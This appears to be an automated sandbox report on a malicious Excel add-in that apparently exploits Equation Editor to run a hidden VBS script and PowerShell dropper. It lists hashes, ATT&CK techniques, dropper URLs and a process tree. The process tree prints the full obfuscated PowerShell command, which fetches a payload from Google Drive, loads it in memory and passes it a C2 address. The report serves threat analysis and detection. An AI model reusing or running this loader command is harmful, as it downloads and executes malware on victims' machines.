d60d2060e90ae46091f0d4d2cd819c87ab7832b50ed4ba05912281ec084d7748

General

Target

Comprobantedepago.xlam
Size

699KB
MD5

1de5993784350cdba2bdc8824591a452
SHA1

921e7dd625709bbef00860eb23c9bc279e3483d6
SHA256

d60d2060e90ae46091f0d4d2cd819c87ab7832b50ed4ba05912281ec084d7748
SHA512

db4e29d683e16fde32f14d5e9229b29ca20fac16f247f36b3dfd69f137bddadd0d4f6f39cbe5b0c07b26d6c979c1bfb8d97dd93bf8c6852f7ec3e7069e976cfa
SSDEEP

12288:TTDYEkIOk9iewJ5IU5Y3LoIfpo3Scp1ixHXmYWN0jPvxfScWgGYDpBY3:fDYVkQT5IP7oXCcfixBWN0jPvxfCag3

Score

10^/10

discovery execution

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

ps1.dropper

https://drive.google.com/uc?export=download&id=1-Wdgeq0fX9aApdlSW9dln1Pc_KEGpfHp

exe.dropper

https://drive.google.com/uc?export=download&id=1-Wdgeq0fX9aApdlSW9dln1Pc_KEGpfHp

Signatures

Blocklisted process makes network request 5 IoCs

flow	pid	Process
4	1932	EQNEDT32.EXE
6	2772	WScript.exe
7	2772	WScript.exe
9	2608	powershell.exe
11	2608	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
2984	powershell.exe
2608	powershell.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs

Web Service

T1102

flow	ioc
8	drive.google.com
9	drive.google.com

Drops file in System32 directory 2 IoCs

description	ioc	Process
File opened for modification	C:\Windows\SysWOW64\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe
File opened for modification	C:\Windows\SysWOW64\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 5 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	EXCEL.EXE
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	EQNEDT32.EXE
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	WScript.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe

Enumerates system info in registry 2 TTPs 1 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\FloatingPointProcessor	EXCEL.EXE

Launches Equation Editor 1 TTPs 1 IoCs

Equation Editor is an old Office component often targeted by exploits such as CVE-2017-11882.

exploit

Exploitation for Client Execution

T1203

pid	Process
1932	EQNEDT32.EXE

Script User-Agent 2 IoCs

Uses user-agent string associated with script host/environment.

description	flow	ioc
HTTP User-Agent header	6	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)
HTTP User-Agent header	7	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)

Suspicious behavior: AddClipboardFormatListener 1 IoCs

pid	Process
2076	EXCEL.EXE

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
2984	powershell.exe
2608	powershell.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	2984	powershell.exe
Token: SeDebugPrivilege	2608	powershell.exe

Suspicious use of SetWindowsHookEx 3 IoCs

pid	Process
2076	EXCEL.EXE
2076	EXCEL.EXE
2076	EXCEL.EXE

Suspicious use of WriteProcessMemory 12 IoCs

description	pid	Process	procid_target
PID 1932 wrote to memory of 2772	1932	EQNEDT32.EXE	33
PID 1932 wrote to memory of 2772	1932	EQNEDT32.EXE	33
PID 1932 wrote to memory of 2772	1932	EQNEDT32.EXE	33
PID 1932 wrote to memory of 2772	1932	EQNEDT32.EXE	33
PID 2772 wrote to memory of 2984	2772	WScript.exe	34
PID 2772 wrote to memory of 2984	2772	WScript.exe	34
PID 2772 wrote to memory of 2984	2772	WScript.exe	34
PID 2772 wrote to memory of 2984	2772	WScript.exe	34
PID 2984 wrote to memory of 2608	2984	powershell.exe	36
PID 2984 wrote to memory of 2608	2984	powershell.exe	36
PID 2984 wrote to memory of 2608	2984	powershell.exe	36
PID 2984 wrote to memory of 2608	2984	powershell.exe	36

C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE
"C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE" /dde C:\Users\Admin\AppData\Local\Temp\Comprobantedepago.xlam
1⤵
- System Location Discovery: System Language Discovery
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
PID:2076

C:\Program Files (x86)\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE
"C:\Program Files (x86)\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE" -Embedding
1⤵
- Blocklisted process makes network request
- System Location Discovery: System Language Discovery
- Launches Equation Editor
- Suspicious use of WriteProcessMemory
PID:1932
- C:\Windows\SysWOW64\WScript.exe
  "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Roaming\Tuesdaycrypt.vbs"
  2⤵
  - Blocklisted process makes network request
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:2772
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'aWV4ICgoKCdWVW5pbWFnZVVybCA9IHZyaWh0JysndHBzOi8vZHJpdmUuZ29vZ2xlLmNvbS91Yz9leHBvcnQ9ZG93bmxvYWQmaWQ9MS1XJysnZGdlcTBmWDlhQXBkbFNXOWRsbjFQY19LRUdwZkhwIHZyaTtWVW53ZWJDbGllbnQgPSBOZXctT2JqZWN0IFN5c3RlbS5OZXQuV2ViQ2xpZW50O1ZVbmltYWdlQnl0ZXMgPSBWVW53ZWJDbGllbnQuRG93bmxvYWREYXRhKFZVbmltYWdlVXJsKTtWVW5pbWEnKydnZVRleHQgPSBbU3lzdGVtLlRleHQuRW5jb2RpbmddOjpVVEY4LkdldFN0cmluZyhWVW5pbWFnZScrJ0J5JysndGVzKTtWVW5zdGFydEZsYWcgPScrJyB2cicrJ2k8PEJBU0U2NF9TVEFSVD4+dnJpO1ZVbmVuZEZsYWcgPSB2cmk8PEJBU0U2NF9FTkQ+PnZyaTtWVW5zdGEnKydydEluZGV4ID0gVlUnKyduaW1hZ2VUZXh0LkluZGV4T2YoVlVuc3RhcnRGbGFnKScrJztWVW5lbmRJbicrJ2RleCA9IFZVbmltYWdlVGV4dC5JbmRleE9mKFZVbmVuZEZsYWcpO1ZVbnN0YXJ0SW5kZXggJysnLWdlIDAgLWFuZCBWVW5lbmRJbmQnKydleCAtJysnZ3QgVlVuc3RhcnRJbmRleDtWVW5zdGFydEluZGV4ICs9IFZVbnN0YXJ0RmxhZy5MZW5ndGg7VicrJ1VuYmFzZTY0TGVuZ3RoID0nKycgVlVuZW5kSW5kZScrJ3ggLSBWVW5zdGFyJysndEluZGV4O1ZVbmJhc2U2NENvbW1hbmQnKycgPSBWVW5pbWFnZVRleHQuU3ViJysnc3QnKydyaW5nKFZVbnN0YXJ0SW5kZXgsIFZVbicrJ2Jhc2U2NExlbmd0aCk7JysnVlVuYmFzZTY0UmV2ZXJzZWQgPSAtam9pbiAoVlVuYmFzZTY0Q29tbWFuZC5UbycrJ0MnKydoYXJBcnJheSgpIGpZQSBGb3JFYWNoLU9iJysnamVjdCB7IFZVbl8gfSlbLTEuLi0oVlVuYmEnKydzZTY0Q29tbWFuZC5MZW5ndGgpXTtWVW5jb21tYW5kQnl0ZXMgPSBbU3lzdGVtLkNvbnZlcnRdOjpGcicrJ29tQmFzJysnZTY0U3RyaW5nKFZVbmJhc2U2NFJldmVyc2VkKScrJztWVW5sb2FkZWRBc3NlbWJseSA9IFtTJysneXN0ZW0uUmVmbGVjdGlvbi5Bc3MnKydlbWJseV06OkxvYWQoVlVuY29tbWFuZEJ5dGVzKTtWVW52YWlNZXRob2QgPSBbZG5saWIuSU8uSG9tZV0uR2V0TScrJ2V0aG9kKHZyJysnaVZBSXZyaSk7VlVudmFpTWV0aG9kLkludm9rZShWVW5udWxsLCBAKHZyaScrJ3R4dC5ZQURTRVVULzI0MS42MTIuMy4yOTEvLzpwdHRodnJpLCB2cmlkZXNhdGl2YWRvdnJpLCB2cmlkZXNhdGl2YWRvdnJpLCB2cmlkZXNhdGl2YWRvdnJpLCB2cmlBZGRJblByb2Nlc3MzMnZyaSwgdnJpZGVzYXRpdmEnKydkb3ZyaSwgdnJpZGVzYXRpdmFkb3ZyaSx2cml2cmksdnJpdnJpLHZyaXZyaSx2cml2cmksdnJpdnJpLHZyaTF2cmkpKTsnKSAtcmVwbEFjRSAoW0NoQXJdMTE4K1tDaEFyXTExNCtbQ2hBcl0xMDUpLFtDaEFyXTM5IC1jckVQTGFjRSAnallBJyxbQ2hBcl0xMjQgIC1yZXBsQWNFIChbQ2hBcl04NitbQ2hBcl04NStbQ2hBcl0xMTApLFtDaEFyXTM2KSAp';$OWjuxd = [system.Text.encoding]::UTF8.GetString([system.Convert]::Frombase64String($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Drops file in System32 directory
    - System Location Discovery: System Language Discovery
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:2984
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command "iex ((('VUnimageUrl = vriht'+'tps://drive.google.com/uc?export=download&id=1-W'+'dgeq0fX9aApdlSW9dln1Pc_KEGpfHp vri;VUnwebClient = New-Object System.Net.WebClient;VUnimageBytes = VUnwebClient.DownloadData(VUnimageUrl);VUnima'+'geText = [System.Text.Encoding]::UTF8.GetString(VUnimage'+'By'+'tes);VUnstartFlag ='+' vr'+'i<<BASE64_START>>vri;VUnendFlag = vri<<BASE64_END>>vri;VUnsta'+'rtIndex = VU'+'nimageText.IndexOf(VUnstartFlag)'+';VUnendIn'+'dex = VUnimageText.IndexOf(VUnendFlag);VUnstartIndex '+'-ge 0 -and VUnendInd'+'ex -'+'gt VUnstartIndex;VUnstartIndex += VUnstartFlag.Length;V'+'Unbase64Length ='+' VUnendInde'+'x - VUnstar'+'tIndex;VUnbase64Command'+' = VUnimageText.Sub'+'st'+'ring(VUnstartIndex, VUn'+'base64Length);'+'VUnbase64Reversed = -join (VUnbase64Command.To'+'C'+'harArray() jYA ForEach-Ob'+'ject { VUn_ })[-1..-(VUnba'+'se64Command.Length)];VUncommandBytes = [System.Convert]::Fr'+'omBas'+'e64String(VUnbase64Reversed)'+';VUnloadedAssembly = [S'+'ystem.Reflection.Ass'+'embly]::Load(VUncommandBytes);VUnvaiMethod = [dnlib.IO.Home].GetM'+'ethod(vr'+'iVAIvri);VUnvaiMethod.Invoke(VUnnull, @(vri'+'txt.YADSEUT/241.612.3.291//:ptthvri, vridesativadovri, vridesativadovri, vridesativadovri, vriAddInProcess32vri, vridesativa'+'dovri, vridesativadovri,vrivri,vrivri,vrivri,vrivri,vrivri,vri1vri));') -replAcE ([ChAr]118+[ChAr]114+[ChAr]105),[ChAr]39 -crEPLacE 'jYA',[ChAr]124 -replAcE ([ChAr]86+[ChAr]85+[ChAr]110),[ChAr]36) )"
      4⤵
      Blocklisted process makes network request
      Command and Scripting Interpreter: PowerShell
      Drops file in System32 directory
      System Location Discovery: System Language Discovery
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:2608

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

1

T1059

PowerShell

1

T1059.001

Exploitation for Client Execution

1

T1203

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

1

T1012

System Information Discovery

2

T1082

System Location Discovery

1

T1614

System Language Discovery

1

T1614.001

Lateral Movement

Collection

Command and Control

Web Service

1

T1102

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms

Filesize
7KB

MD5
4ddc65913d5f2efb9fab181fe2d3ddae

SHA1
e370394c3af30ef25246eded98418ffa640d2ebc

SHA256
03ae781f0591330112dde9462e130633a84d4c49ceb5db2e0c43725c2a509b26

SHA512
a4936d32e2ad14747a84eeef0866b0ac74cc3c95c12d80e698414d3957349fe2df9ca21f39a1d07335d80b0d85ddf8636ec31e3b595215b8de66c900a5e1c949

Download Submit
C:\Users\Admin\AppData\Roaming\Tuesdaycrypt.vbs

Filesize
2KB

MD5
52657fa0314283cd353ff9d0f9abae4a

SHA1
779272a13a18ba73e34c1a7e49fc1d3a3a4c17c6

SHA256
b6dca2c1ab2a430f18a5c98e6c626a9120ca36b5cf6c35b80bdab46b2482aa0a

SHA512
eef4a2ff2eb2d4f936e15eeb6719a35d4ecba4ad1e38dbb46eaa9a98953052db171189712503e8994b2a6e2e9d1f319de9e0706be72306c06436c8437e836171

Download Submit
memory/2076-0-0x000000005FFF0000-0x0000000060000000-memory.dmp

Filesize
64KB

Download
memory/2076-1-0x0000000071DFD000-0x0000000071E08000-memory.dmp

Filesize
44KB

Download
memory/2076-16-0x0000000071DFD000-0x0000000071E08000-memory.dmp

Filesize
44KB

Download

Analysis

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